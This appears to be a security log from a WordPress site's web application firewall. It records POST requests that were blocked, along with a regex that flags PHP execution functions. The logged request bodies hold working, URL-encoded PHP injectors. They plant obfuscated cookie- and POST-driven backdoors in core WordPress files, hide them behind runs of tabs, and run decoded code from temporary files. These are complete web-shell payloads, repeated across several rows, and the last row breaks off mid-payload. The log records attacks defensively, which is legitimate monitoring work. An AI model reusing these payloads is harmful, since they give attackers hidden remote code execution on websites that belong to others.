20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:55:05","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4321\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLapvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nbw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:08","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\ncontent-length:3911\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nGD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:10","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Tu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-length:3911\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIUHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nTu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524reference%252C%2520%2524entry%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524reference%253B%2520%2540unlink%2528%2524reference%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:12","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/assets\/script-loader-react-refresh-runtime.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524val%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6F%255Cx6Cder%2522%255D%2529%253B%2520%2524entry%2520%253D%2527%2527%253B%2520%2524s%2520%253D%25200%253B%2520while%2528%2524s%2520%253C%2520strlen%2528%2524mrk%2529%2529%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524s%255D%2529%2520%255E%252069%2529%253B%2524s%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524val%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524marker%2529%2520%2526%2526%2520is_dir%2528%2524marker%2529%2529%2520%257B%2520%2524reference%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524marker%252C%2520%2522.desc%2522%255D%2529%253B%2520%2524success%2520%253D%2520f